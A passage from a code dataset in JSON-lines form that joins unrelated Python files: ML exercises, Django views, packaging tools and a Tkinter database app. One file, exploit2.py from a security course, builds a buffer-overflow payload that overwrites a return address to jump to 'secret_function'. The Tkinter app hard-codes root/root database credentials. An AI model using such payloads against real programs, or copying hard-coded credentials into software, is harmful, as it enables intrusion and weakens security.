self._top_5()[0]\n return '{0:10} ({1:.2f}%)'.format(bg[0], bg[1])\n\n def _top_5(self):\n keys = list(self._stats)\n\n vals = []\n for key in keys:\n vals.append(self._stats[key])\n\n sum_vals = sum(vals)\n vals = list(map(lambda el: (el/sum_vals) * 100, vals))\n\n tups = []\n for i in range(len(vals)):\n tups.append((keys[i], vals[i]))\n\n tups.sort(key=lambda el: el[1])\n tups.reverse()\n return tups[:5]\n\n\ndef monitor(watcher, calls):\n watcher.update(calls)\n\n best_guess = watcher.best_guess()\n\n print('\\r', ' ' * 50, end='') # erase the line\n print('\\r', best_guess, sep='', end='')\n sys.stdout.flush()\n\n\nclass Tests(unittest.TestCase):\n def test_update_1(self):\n calls = list('qwertyuiopasdfghjkl')\n signatures = {}\n _add_signatures(calls, signatures, 'baad')\n\n watcher = Watcher(signatures)\n\n calls = list('qwerty')\n calls = list(map(lambda el: {'type': 'call', 'call_name': el}, calls))\n\n watcher.update(calls)\n\n self.assertEqual(watcher._stats, {'baad': 1, 'unknown': 0})\n self.assertEqual(watcher._backlog, list('qwerty'))\n self.assertEqual(watcher._total_predictions, 1)\n\n def test_update_2(self):\n calls = list('qwertyuiopasdfghjkl')\n signatures = {}\n _add_signatures(calls, signatures, 'baad')\n\n watcher = Watcher(signatures)\n\n calls = list('asdfsd')\n calls = list(map(lambda el: {'type': 'call', 'call_name': el}, calls))\n\n watcher.update(calls)\n\n self.assertEqual(watcher._stats, {'unknown': 1})\n self.assertEqual(watcher._backlog, list('asdfsd'))\n self.assertEqual(watcher._total_predictions, 1)\n\n def test_update_3(self):\n calls = list('qwertyuiopasdfghjkl')\n signatures = {}\n _add_signatures(calls, signatures, 'baad')\n _add_signatures(calls, signatures, 'good')\n\n watcher = Watcher(signatures)\n\n calls = list('qwerty')\n calls = list(map(lambda el: {'type': 'call', 'call_name': el}, calls))\n\n watcher.update(calls)\n\n self.assertEqual(watcher._stats, {'unknown': 0, 'baad': 1, 'good': 1})\n self.assertEqual(watcher._backlog, list('qwerty'))\n self.assertEqual(watcher._total_predictions, 1)\n\n def test_top_5(self):\n watcher = Watcher({})\n watcher._stats = {'a': 10, 'b': 20, 'c': 30}\n watcher._total_predictions = 5\n\n expected = [('c', 30/60 * 100), ('b', 20/60 * 100), ('a', 10/60 * 100)]\n received = watcher._top_5()\n\n self.assertEqual(expected, received)\n\n def test_report(self):\n watcher = Watcher({})\n watcher._stats = {'a': 10, 'b': 20, 'c': 30}\n watcher._total_predictions = 5\n\n print('report returns:')\n print(watcher.report())\n\n","repo_name":"cngkaygusuz/syde","sub_path":"syde/watcher.py","file_name":"watcher.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"41052098709","text":"import abc\nimport logging\nimport pkginfo\nimport tempfile\nimport uuid\nfrom pathlib import Path\nfrom typing import List\n\nfrom yaspin import yaspin\n\nimport srepkg.dist_builder as db\nimport srepkg.error_handling.custom_exceptions as ce\nimport srepkg.utils.dist_archive_file_tools as cft\nimport srepkg.orig_src_preparer_interfaces as osp_int\nimport srepkg.repackager_data_structs as rp_ds\nimport srepkg.utils.wheel_entry_point_extractor as we_pe\n\nfrom inner_pkg_installer import yaspin_updater as yu\n\nDEFAULT_DIST_CLASSES = (pkginfo.SDist, pkginfo.Wheel)\nDEFAULT_SREPKG_SUFFIX = \"srepkg\"\n\n\nclass ConstructionDir(osp_int.ManageableConstructionDir):\n\n def __init__(self,\n construction_dir_command: Path,\n srepkg_name_command: str = None):\n self._root = construction_dir_command\n self._srepkg_root = construction_dir_command / uuid.uuid4().hex\n self._srepkg_inner = self._srepkg_root / uuid.uuid4().hex\n self._srepkg_root.mkdir()\n self._srepkg_inner.mkdir()\n (self._srepkg_root / 'orig_dist').mkdir()\n self._custom_srepkg_name = srepkg_name_command\n self._supported_dist_types = DEFAULT_DIST_CLASSES\n self._srepkg_name = None\n self._summary = None\n\n @property\n def _root_contents(self):\n return list(self._root.iterdir())\n\n @property\n def srepkg_root(self):\n return self._srepkg_root\n\n @property\n def _srepkg_root_contents(self):\n return list(self._srepkg_root.iterdir())\n\n @property\n def orig_pkg_dists(self) -> Path:\n return self._srepkg_root / 'orig_dist'\n\n @property\n def _orig_pkg_dists_contents(self) -> List[Path]:\n return list(self.orig_pkg_dists.iterdir())\n\n def _get_dist_info(self, dist_path: Path):\n for dist_class in self.supported_dist_types:\n try:\n dist_obj = dist_class(dist_path)\n return rp_ds.DistInfo(path=dist_path, dist_obj=dist_obj)\n except ValueError:\n pass\n\n @property\n def dists(self):\n return [self._get_dist_info(entry) for entry in\n self._orig_pkg_dists_contents]\n\n @property\n def _unique_orig_pkgs(self):\n unique_pkgs = {\n rp_ds.UniquePkg(\n # DistInfo changes any \"_\" to \"-\" in pkg name. Undo that.\n name=dist.dist_obj.name.replace(\"-\", \"_\"),\n version=dist.dist_obj.version)\n for dist in self.dists}\n if len(unique_pkgs) > 1:\n raise ce.MultiplePackagesPresent(self.dists)\n return unique_pkgs\n\n @property\n def orig_pkg_name(self):\n if self._unique_orig_pkgs:\n return list(self._unique_orig_pkgs)[0].name\n\n @property\n def pypi_version(self):\n if self._unique_orig_pkgs:\n return list(self._unique_orig_pkgs)[0].version\n\n @property\n def has_wheel(self):\n return any([type(dist.dist_obj) == pkginfo.Wheel for dist in\n self.dists])\n\n @property\n def wheel_path(self):\n if self.has_wheel:\n return [dist.path for dist in self.dists if type(dist.dist_obj) ==\n pkginfo.Wheel][0]\n\n @property\n def has_sdist(self):\n return any([type(dist.dist_obj) == pkginfo.SDist for dist in\n self.dists])\n\n # @property\n # def srepkg_name(self) -> str:\n # return self._srepkg_name\n\n @property\n def srepkg_inner(self):\n return self._srepkg_inner\n\n @property\n def srepkg_inner_contents(self):\n return list(self._srepkg_inner.iterdir())\n\n @property\n def supported_dist_types(self):\n return self._supported_dist_types\n\n def _rename_sub_dirs(self, srepkg_root_new: str, srepkg_inner_new: str):\n\n self._srepkg_inner.replace(\n self._srepkg_inner.parent.absolute() / srepkg_inner_new)\n self._srepkg_root.replace(\n self._srepkg_root.parent.absolute() / srepkg_root_new)\n\n self._srepkg_root = self._srepkg_root.parent.absolute() / \\\n srepkg_root_new\n self._srepkg_inner = self._srepkg_root / srepkg_inner_new\n\n def _update_srepkg_and_dir_names(self, discovered_pkg_name: str):\n if self._custom_srepkg_name:\n srepkg_name = self._custom_srepkg_name\n else:\n srepkg_name = f\"{discovered_pkg_name}{DEFAULT_SREPKG_SUFFIX}\"\n\n self._rename_sub_dirs(\n srepkg_root_new=f\"{discovered_pkg_name}_as_{srepkg_name}\",\n srepkg_inner_new=srepkg_name)\n\n self._srepkg_name = srepkg_name\n\n def _extract_cs_entry_pts_from_wheel(self):\n return we_pe.WheelEntryPointExtractor(self.wheel_path) \\\n .get_entry_points()\n\n def _set_summary(self):\n if not self.has_sdist and not self.has_wheel:\n raise ce.MissingOrigPkgContent(str(self.orig_pkg_dists))\n if not self.has_wheel and self.has_sdist:\n SdistToWheelConverter(self).build_wheel()\n self._update_srepkg_and_dir_names(\n discovered_pkg_name=self.orig_pkg_name)\n\n self._summary = rp_ds.ConstructionDirSummary(\n pkg_name=self.orig_pkg_name,\n pkg_version=self.pypi_version,\n srepkg_name=self._srepkg_name,\n srepkg_root=self._srepkg_root,\n orig_pkg_dists=self.orig_pkg_dists,\n srepkg_inner=self._srepkg_inner,\n dists=self.dists,\n entry_pts=self._extract_cs_entry_pts_from_wheel())\n\n def finalize(self):\n self._set_summary()\n return self._summary\n\n @abc.abstractmethod\n def settle(self):\n pass\n\n\nclass CustomConstructionDir(ConstructionDir):\n def __init__(self,\n construction_dir_command: Path,\n srepkg_name_command: str = None):\n super().__init__(construction_dir_command, srepkg_name_command)\n\n def settle(self):\n print(\n f\"An uncompressed copy of {self._srepkg_inner.name} has been saved \"\n f\"in {str(self._srepkg_root)}\")\n\n\nclass TempConstructionDir(ConstructionDir):\n def __init__(self, srepkg_name_command: str = None):\n self._temp_dir_obj = tempfile.TemporaryDirectory()\n super().__init__(\n construction_dir_command=Path(self._temp_dir_obj.name),\n srepkg_name_command=srepkg_name_command)\n\n def _set_summary(self):\n super()._set_summary()\n self._summary._temp_dir_obj = self._temp_dir_obj\n\n def settle(self):\n self._temp_dir_obj.cleanup()\n\n\nclass SdistToWheelConverter:\n def __init__(\n self,\n construction_dir: ConstructionDir):\n self._construction_dir = construction_dir\n self._compressed_file_extractor = cft.CompressedFileExtractor()\n\n @property\n def _unpacked_src_dir_name(self):\n pkg_name = self._construction_dir.orig_pkg_name\n pkg_version = self._construction_dir.pypi_version\n return f\"{pkg_name}-{pkg_version}\"\n\n def _get_build_from_dist(self):\n try:\n build_from_dist = next(\n dist for dist in self._construction_dir.dists if\n isinstance(dist.dist_obj, pkginfo.sdist.SDist))\n except StopIteration:\n raise ce.NoSDistForWheelConstruction(\n self._construction_dir.srepkg_root)\n\n return build_from_dist\n\n def build_wheel(self):\n\n build_from_dist = self._get_build_from_dist()\n\n with yu.yaspin_log_updater(\n msg=f\"Converting {build_from_dist.path.name} to a wheel\",\n logger= logging.getLogger(__name__)) as updater:\n temp_unpack_dir_obj = tempfile.TemporaryDirectory()\n unpack_root = Path(temp_unpack_dir_obj.name)\n\n self._compressed_file_extractor.extract(\n build_from_dist.path, unpack_root)\n\n wheel_path = db.DistBuilder(\n distribution=\"wheel\",\n srcdir=unpack_root / self._unpacked_src_dir_name,\n output_directory=self._construction_dir.orig_pkg_dists\n ).build()\n\n temp_unpack_dir_obj.cleanup()\n\n completed_msg = f\"\\tBuilt wheel {wheel_path.name}\"\n logging.getLogger(f\"std_out.{__name__}\").info(completed_msg)\n","repo_name":"duanegoodner/srepkg","sub_path":"src/srepkg/construction_dir.py","file_name":"construction_dir.py","file_ext":"py","file_size_in_byte":8240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"13298085668","text":"from .common import *\n\n# Internationalization\n# https://docs.djangoproject.com/en/3.1/topics/i18n/\n\nLANGUAGE_CODE = env(\"LANGUAGE_CODE\", default=\"en\")\n\nLANGUAGES = [\n (\"en\", \"English\"),\n]\n\nTIME_ZONE = env(\"TIME_ZONE\", default=\"UTC\")\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\nLOCALE_PATHS = [\n BASE_DIR / \"locale\",\n]\n","repo_name":"TEDxTehran-Team/event-app-core","sub_path":"event_app/components/i18n.py","file_name":"i18n.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"29"} +{"seq_id":"336689109","text":"from platform import system\nfrom .system import System\nfrom .cpu import CPU\nfrom .ram import RAM\nfrom .gpu import GPU\nfrom .disk import Disk\n\nclass Data:\n def __init__(self):\n os = system().lower()\n self.system = System(os)\n self.cpu = CPU(os)\n self.memory = RAM(os)\n self.disk = Disk()\n self.gpu = GPU()\n self._data = set(x for x in list(self.__dict__.values()))\n\n def update(self):\n for x in self._data:\n update_ = getattr(x, \"update\", None)\n if callable(update_):\n update_()","repo_name":"sk8thing/pynit","sub_path":"HardwareData/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"6506830880","text":"from pwn import *\n\n# current return address from read_input ---> 0x4012d9\n# address of read_input function ---> 0x401166\n# address of secret_function ---> 0x401241\npayload1 = 'A' * 16\npayload1 += 'B' * 16\npayload1 += 'C' * 16\npayload1 += 'D' * 16\npayload1 += 'E' * 16\npayload1 += 'F' * 16\npayload1 += 'G' * 15\nprint(payload1)\n\npayload2 = 'a' * 8\npayload2 += 'b' * 8\npayload2 += \"\\x10\\xd8\\xff\\xff\" #0xffffd810\npayload2 += \"\\xff\\x7f\\x00\\x00\" #0x00007fff\npayload2 += \"\\x41\\x12\\x40\\x00\" #0x00401241\n\nprint(payload2)\n","repo_name":"mehr74/F20.Security","sub_path":"Q2/E2.3/exploit2.py","file_name":"exploit2.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"22265426536","text":"from django.shortcuts import render,redirect\r\nfrom .models import Coviddata\r\nfrom django.contrib.auth import authenticate,login,logout\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.contrib.auth.forms import UserCreationForm\r\nimport pickle\r\nimport numpy as np\r\nimport pandas as pd\r\nimport json\r\nfrom .forms import CustomUserCreationForm\r\nimport os\r\nfrom cryptography.fernet import Fernet\r\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\r\nfrom cryptography.hazmat.backends import default_backend\r\n\r\n\r\ndef loginUser(request):\r\n page = 'login'\r\n if request.method == 'POST':\r\n username = request.POST['username']\r\n password = request.POST['password']\r\n user = authenticate(request, username=username, password=password)\r\n \r\n print(\"USER:\",username)\r\n\r\n if user is not None:\r\n login(request, user)\r\n return redirect('index')\r\n\r\n return render(request,\"login_register.html\", {'page':page})\r\n\r\ndef logoutUser(request):\r\n logout(request)\r\n # can add another page for \"sucessfuly logged out\" then redirect ot login page\r\n return redirect('login')\r\n\r\ndef registerUser(request):\r\n page = 'register'\r\n form = CustomUserCreationForm()\r\n\r\n if request.method == 'POST':\r\n form = CustomUserCreationForm(request.POST)\r\n if form.is_valid():\r\n user = form.save(commit=False)\r\n user.save()\r\n user = authenticate(\r\n request, username = user.username, password = request.POST['password1']\r\n )\r\n\r\n if user is not None:\r\n login(request, user)\r\n return redirect('index')\r\n\r\n context = {'form': form, 'page': page}\r\n return render(request, 'login_register.html', context)\r\n\r\n@login_required(login_url='login')\r\ndef index(request):\r\n \r\n if request.method == 'POST':\r\n full_name = request.POST['full_name']\r\n age = request.POST['age']\r\n gender = request.POST['gender']\r\n fever = request.POST['fever']\r\n cough = request.POST['cough']\r\n fatigue = request.POST.get('fatigue')\r\n fatigue = 1 if fatigue else 0\r\n pains = request.POST.get('pains')\r\n pains = 1 if pains else 0\r\n nasal_congestion = request.POST.get('nasal_congestion')\r\n nasal_congestion = 1 if nasal_congestion else 0\r\n shortness_of_breath = request.POST.get('shortness_of_breath')\r\n shortness_of_breath = 1 if shortness_of_breath else 0\r\n runny_nose = request.POST.get('runny_nose')\r\n runny_nose = 1 if runny_nose else 0\r\n sore_throat = request.POST.get('sore_throat')\r\n sore_throat = 1 if sore_throat else 0\r\n diarrhea = request.POST.get('diarrhea')\r\n diarrhea = 1 if diarrhea else 0\r\n chills = request.POST.get('chills')\r\n chills = 1 if chills else 0\r\n headache =request.POST.get('headache')\r\n headache = 1 if headache else 0\r\n vomiting = request.POST.get('vomiting')\r\n vomiting = 1 if vomiting else 0\r\n lives_in_affected_area = request.POST['lives_in_affected_area']\r\n \r\n # model unpickling\r\n file = open(\"model.pkl\", \"rb\")\r\n classifier = pickle.load(file)\r\n file.close()\r\n \r\n user_data = np.array(\r\n (age,\r\n gender,\r\n lives_in_affected_area,\r\n fever,\r\n cough,\r\n fatigue,\r\n pains,\r\n nasal_congestion,\r\n shortness_of_breath,\r\n runny_nose,\r\n sore_throat,\r\n diarrhea,\r\n chills,\r\n headache,\r\n vomiting\r\n )\r\n ).reshape(1, 15)\r\n\r\n print(user_data)\r\n result = classifier.predict_proba(user_data) \r\n result=round(result[0][1]*100,2)\r\n print(f\"Result: {result}\")\r\n\r\n covid_data=Coviddata.objects.create(age=age,gender=gender,fever=fever,cough=cough,fatigue=fatigue,pains=pains,nasal_congestion=nasal_congestion,shortness_of_breath=shortness_of_breath,runny_nose=runny_nose,sore_throat=sore_throat,diarrhea=diarrhea,chills=chills,headache=headache,vomiting=vomiting,lives_in_affected_area=lives_in_affected_area,result=result)\r\n covid_data.save()\r\n \r\n age = int(user_data[0][0])\r\n gender = 'Male' if int(user_data[0][1]) else 'Female'\r\n lives_in_affected_area ='Yes' if int(user_data[0][2]) else 'No'\r\n fever ='Yes' if int(user_data[0][3]) else 'No'\r\n cough ='Yes' if int(user_data[0][4]) else 'No'\r\n fatigue ='Yes' if int(user_data[0][5]) else 'No'\r\n pains = 'Yes' if int(user_data[0][6]) else 'No'\r\n nasal_congestion='Yes' if int(user_data[0][7]) else 'No'\r\n shortness_of_breath = 'Yes' if int(user_data[0][8]) else 'No'\r\n runny_nose = 'Yes' if int(user_data[0][9]) else 'No'\r\n sore_throat = 'Yes' if int(user_data[0][10]) else 'No'\r\n diarrhea = 'Yes' if int(user_data[0][11]) else 'No'\r\n chills = 'Yes' if int(user_data[0][12]) else 'No'\r\n headache = 'Yes' if int(user_data[0][13]) else 'No'\r\n vomiting = 'Yes' if int(user_data[0][14]) else 'No'\r\n\r\n user_details_API = {\r\n 'Name' :full_name,\r\n 'Age' :age,\r\n 'Gender' :gender,\r\n 'Living in Affected Area':lives_in_affected_area,\r\n 'Fever' :fever,\r\n 'Dry Cough' :cough,\r\n 'Fatigue' :fatigue,\r\n 'Pains' :pains,\r\n 'Nasal Congestion':nasal_congestion,\r\n 'Problem in Breathing':shortness_of_breath,\r\n 'Runny Nose' :runny_nose,\r\n 'Sore Throat' :sore_throat,\r\n 'Diarrhea' :diarrhea,\r\n 'Chills' :chills,\r\n 'Headache' :headache,\r\n 'Vomiting' :vomiting\r\n }\r\n \r\n return render(request,\"result.html\",{'result':result,'user_details_API':user_details_API,\r\n 'user_json_data':json.dumps(user_details_API)})\r\n else:\r\n return render(request,\"index.html\")","repo_name":"Ritika-s-26/Covid-Prediction-based-on-symptoms","sub_path":"covidpred/covid/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"40423900401","text":"from __future__ import annotations\n\nimport tempfile\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING\n\nimport pytest\nfrom packaging.requirements import Requirement\nfrom packaging.version import Version\nfrom typing_extensions import Protocol\n\nfrom tools.freezenuts.core import (\n get_oldest_matching_requirement,\n get_oldest_requirements,\n package_versions,\n)\n\nif TYPE_CHECKING:\n from pytest_mock import MockFixture\n\nREQUIREMENTS_CONTENT = \"\"\"\n# comments\nmelchior\n# are\ncaspar[toml]>=2.0.0\nbalthazar>=1.24,<1.28 # not\n# included\n\"\"\"\n\n\nclass CheckOutputMock(Protocol):\n def __call__(self, output: str | None) -> None:\n ...\n\n\n@pytest.fixture(name=\"check_output_mock\")\ndef check_output_mocker(mocker: MockFixture) -> CheckOutputMock:\n def setup_check_output_mocker(output: str | None = None) -> None:\n if output is not None:\n mocker.patch(\"subprocess.check_output\").return_value = output.encode()\n\n return setup_check_output_mocker\n\n\ndef test_file_parsing(check_output_mock: CheckOutputMock) -> None:\n check_output_mock(\n output=(\n \"zion (0.3.0)\\n\"\n \"Available versions: 2.0.0, 1.24.0, 0.3.0, 0.2.1, 0.1.3, 0.0.1\\n\"\n ),\n )\n with tempfile.NamedTemporaryFile() as temporary_file:\n ptf = Path(temporary_file.name)\n with ptf.open(encoding=\"utf-8\", mode=\"w\") as file:\n file.write(REQUIREMENTS_CONTENT)\n requirements = [str(r) for r in get_oldest_requirements(ptf)]\n expected = [\n str(Requirement(r))\n for r in [\n \"balthazar==1.24.0\",\n \"caspar[toml]==2.0.0\",\n \"melchior==0.0.1\",\n ]\n ]\n assert requirements == expected\n\n\n@pytest.mark.parametrize(\n (\"line\", \"expected\"),\n [\n (\"abraham~=2.27.1\", \"abraham==2.27.1\"),\n (\"andrew\", \"andrew==0.2.0\"),\n (\"bartholomew>=3.0\", \"bartholomew==3.0.0\"),\n (\"caleb~=1.0,!=1.0.0\", \"caleb==1.1.0\"),\n (\"james>=2.27.0,<2.28\", \"james==2.27.0\"),\n (\"john>2\", \"john==2.27.0\"),\n (\"judas==2.27.1\", \"judas==2.27.1\"),\n (\"lazarus~=1.0\", \"lazarus==1.0.0\"),\n (\"matthew<3\", \"matthew==0.2.0\"),\n (\"philip>1.9.9,<2.28\", \"philip==2.0.0\"),\n (\"simon>0,<5.7\", \"simon==0.2.0\"),\n (\"thaddeus<=2, >=1.1.0\", \"thaddeus==1.1.0\"),\n (\"thomas<3,>=2\", \"thomas==2.0.0\"),\n ],\n)\ndef test_requirement_deep_freezing(\n line: str,\n expected: str,\n check_output_mock: CheckOutputMock,\n) -> None:\n check_output_mock(\n output=(\n \"zion (0.1.0)\\n\"\n \"Available versions: 3.0.1, 3.0.0, 2.28.0, 2.27.1, 2.27.0, \"\n \"2.0.0, 1.2.0, 1.1.0, 1.0.0, 0.2.0\"\n ),\n )\n requirement = get_oldest_matching_requirement(Requirement(line))\n assert str(requirement) == str(Requirement(expected))\n\n\n@pytest.mark.parametrize(\n (\"output\", \"expected\"),\n [\n (\n \"zion (0.1.0)\\nAvailable versions: 0.1.0\\n\",\n [\"0.1.0\"],\n ),\n (\n \"zion (0.3.0)\\nAvailable versions: 0.3.0, 0.2.1, 0.1.3, 0.0.1\\n\",\n [\n \"0.0.1\",\n \"0.1.3\",\n \"0.2.1\",\n \"0.3.0\",\n ],\n ),\n (\n (\n \"zion (0.1.0)\\n\"\n \"Available versions: 2.28.0, 2.27.1, 2.27.0\\n\"\n \" INSTALLED: 2.27.1\\n\"\n ),\n [\n \"2.27.0\",\n \"2.27.1\",\n \"2.28.0\",\n ],\n ),\n ],\n)\ndef test_querying_package_versions(\n output: str,\n expected: list[str],\n check_output_mock: CheckOutputMock,\n) -> None:\n check_output_mock(output)\n assert package_versions(\"zion\") == [Version(e) for e in expected]\n\n\ndef test_stupid_specification(check_output_mock: CheckOutputMock) -> None:\n check_output_mock(\"zion (0.1.0)\\nAvailable versions: 3.0.0, 2.0.0, 1.0.0\")\n with pytest.raises(RuntimeError, match=\"No valid candidate found for mox<=1,>2\"):\n get_oldest_matching_requirement(Requirement(\"mox<=1,>2\"))\n\n\ndef test_impossible_specification(check_output_mock: CheckOutputMock) -> None:\n check_output_mock(\"zion (0.1.0)\\nAvailable versions: 3.0.0, 2.0.0, 1.0.0\")\n with pytest.raises(RuntimeError, match=\"No valid candidate found for mox>3\"):\n get_oldest_matching_requirement(Requirement(\"mox>3\"))\n","repo_name":"ruksi/genvi","sub_path":"tools/freezenuts/tests/test_core.py","file_name":"test_core.py","file_ext":"py","file_size_in_byte":4384,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"27899478134","text":"import config\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\n\n# Hypothesis Function\ndef hypothesis(thetarg, x):\n return np.dot(x, thetarg)\n\n\n# Cost function used to calculate the error between hypothesis and actual value over m training examples\ndef cost(x, y, thetarg, m):\n return float((1 / (2 * m)) * np.dot((hypothesis(thetarg, x) - y).T, (hypothesis(thetarg, x) - y)))\n\n\n# Gradient Descent method to minimize cost function in configurable alpha and iterations\ndef gradient_descent(x, y, thetarg, m):\n jvec = []\n theta_history = []\n for i in range(config.num_iterations):\n theta_history.append(list(thetarg[:, 0]))\n jvec.append(cost(x, y, thetarg, m))\n for j in range(len(thetarg)):\n thetarg[j] = thetarg[j] - (alpha / m) * np.sum((hypothesis(thetarg, x) - y) *\n np.array(x[:, j]).reshape(m, 1))\n return thetarg, theta_history, jvec\n\n\nmuldata = pd.read_csv(config.path)\nindata = muldata.drop('price', axis=1)\nindata.insert(0, \"x0\", 1)\noutdata = muldata['price']\n\nnormin = (indata - indata.mean()) / indata.std()\nnormin.fillna(0, inplace=True)\nnormout = (outdata - outdata.mean()) / outdata.std()\n\ninmatrix = normin.values\noutmatrix = normout.values.reshape(outdata.size, 1)\n\ntheta = np.zeros([inmatrix.shape[1], 1])\nmsize = len(outmatrix)\nnum_iterations = config.num_iterations\nalpha = config.alpha\n\ntheta_final, theta_hist, compute_cost = gradient_descent(inmatrix, outmatrix, theta, msize)\n\niterations = list(range(1, config.num_iterations))\ncompute_cost.pop(0)\nplt.title(\"Cost Function fall with iterations\")\nplt.xlabel(\"Number of iterations\")\nplt.ylabel(\"Cost Function\")\nplt.plot(iterations, compute_cost)\n","repo_name":"akshatism/ML","sub_path":"algorithms/Linear-Regression-Multiple-Features/linear_regression_multiple_variable.py","file_name":"linear_regression_multiple_variable.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15482266135","text":"import numpy as np \n\ndef missing(array):\n # array.sort()\n sum1 = 0\n for i in range(0,len(array)+1):\n sum1 += i\n \n if(sum1 != sum(array)):\n return abs(sum1 - sum(array))\n else:\n return 'No missing number'\n\n\n\n\narray1 = [0,1,2,3,5]\nprint(missing(array1))","repo_name":"tajsharma/leetCoding","sub_path":"pythonArrays/missingNumber.py","file_name":"missingNumber.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"27639199277","text":"import numpy as np\n\n\nclass AdalineBGD:\n def __init__(self, learning_rate, number_of_epochs, batch_size=32):\n self.learning_rate = learning_rate\n self.number_of_epochs = number_of_epochs\n self.batch_size = batch_size\n\n self._weights = None\n self.cost_ = []\n\n def fit(self, X, y):\n input_size = X.shape[1] + 1\n self._weights = np.random.normal(loc=0.0, scale=0.01, size=input_size)\n\n for _ in range(self.number_of_epochs):\n\n batches_costs = []\n num_batches = 0\n for xi, yi in self.generate_batches(X, y):\n net_input = self.net_input(xi)\n output = self.activation(net_input)\n error = yi - output\n\n self._weights[1:] += self.learning_rate * xi.T.dot(error)\n self._weights[0] += self.learning_rate * error.sum()\n\n batch_cost = (error ** 2).sum() / 2.0\n num_batches += 1\n batches_costs.append(batch_cost)\n\n avg_cost = sum(batches_costs) / num_batches\n self.cost_.append(avg_cost)\n\n return self\n\n def net_input(self, X):\n return np.dot(X, self._weights[1:]) + self._weights[0]\n\n def activation(self, X):\n return X\n\n def predict(self, xi):\n return np.where(self.activation(self.net_input(xi)) >= 0, 1, -1)\n\n def generate_batches(self, X, y):\n for i in range(X.shape[0] // self.batch_size):\n start = i*self.batch_size\n end = (i+1)*self.batch_size\n yield (X[start:end], y[start:end])\n\n if X.shape[0] % self.batch_size != 0:\n start = (i+1)*self.batch_size\n end = X.shape[0]+1\n yield (X[start:end], y[start:end])","repo_name":"higim/ml_implementations","sub_path":"classifiers/adaline_bgd.py","file_name":"adaline_bgd.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"6696602228","text":"import sys\ninput = sys.stdin.readline\nfrom collections import deque\n\ndef is_possible(limit):\n queue = deque()\n queue.append(s)\n visited = {i: False for i in range(1,N+1)}\n visited[s] = True\n while queue:\n cur_node = queue.popleft()\n if cur_node == e:\n return True\n for next_node, next_limit in graph[cur_node]:\n if not visited[next_node] and limit <= next_limit:\n visited[next_node] = True\n queue.append(next_node)\n return False\n\nN, M = map(int, input().split())\ns, e = map(int, input().split())\ngraph = {i: [] for i in range(1,N+1)}\nfor _ in range(M):\n a,b,c = map(int, input().split())\n graph[a].append([b,c])\n graph[b].append([a,c])\nleft = 1\nright = 1000000\nanswer = 0\nwhile left <= right:\n mid = (left + right)//2\n if is_possible(mid):\n left = mid + 1\n answer = mid\n else:\n right = mid - 1\n\nprint(answer)","repo_name":"chaselover/practiceAlgorithm","sub_path":"13905세부.py","file_name":"13905세부.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"22823219557","text":"s = input()\nt = input()\n\n\ndef isIsomorphic(temp, t):\n\n a =set(temp)\n b = set(t)\n if len(a)!=len(b) or len(temp)!=len(t):\n return False\n pos1,pos2 = [-1]*256,[-1]*256\n for i in range(len(temp)):\n if pos1[ord(temp[i])]!= pos2[ord(t[i])]:\n return False\n pos1[ord(temp[i])] = pos2[ord(t[i])]=i\n return True\n\ndef solve(s,t):\n start = 0\n end = len(t)\n count = 0\n while end<=len(s):\n\n temp = s[start:end]\n if isIsomorphic(temp,t):\n count+=1\n start+=1\n end+=1\n return count\nprint(solve(s,t))","repo_name":"MenNianShi/coding","sub_path":"jd/xisi.py","file_name":"xisi.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26415302907","text":"import tkinter as tk\r\nimport mysql.connector\r\n\r\nconfig = {\r\n 'user': 'root',\r\n 'password': \"root\",\r\n 'host': '127.0.0.1',\r\n 'database': 'recordstore'\r\n}\r\n\r\nconnection = mysql.connector.connect(**config)\r\ncursor = connection.cursor()\r\n\r\nclass CDDBQueryApp:\r\n def __init__(self, root):\r\n\r\n # Set user type to determine which functions are available\r\n self.user_type = None\r\n\r\n # Setting the title and window size\r\n root.title(\"CD Database Query\")\r\n root.geometry(\"700x600\") # Adjusted the height to accommodate the navigation buttons\r\n \r\n # Setting the background color\r\n root.configure(bg=\"lightgray\")\r\n \r\n # Create the frames for different pages\r\n self.search_frame = tk.Frame(root, bg=\"lightgray\")\r\n self.add_frame = tk.Frame(root, bg=\"lightgray\")\r\n self.home_frame = tk.Frame(root, bg=\"lightgray\")\r\n self.preorder_frame = tk.Frame(root, bg=\"lightgray\")\r\n\r\n\r\n self.view_preorders_button = tk.Button(self.search_frame, text=\"View Preorders\", command=self.show_preorder_page, bg=\"lightgray\")\r\n\r\n # Pack the search frame first as it's the default page\r\n self.home_frame.pack(fill=\"both\", expand=True)\r\n \r\n # Initialize the pages\r\n self.init_search_page()\r\n self.init_add_page()\r\n self.init_home_page()\r\n 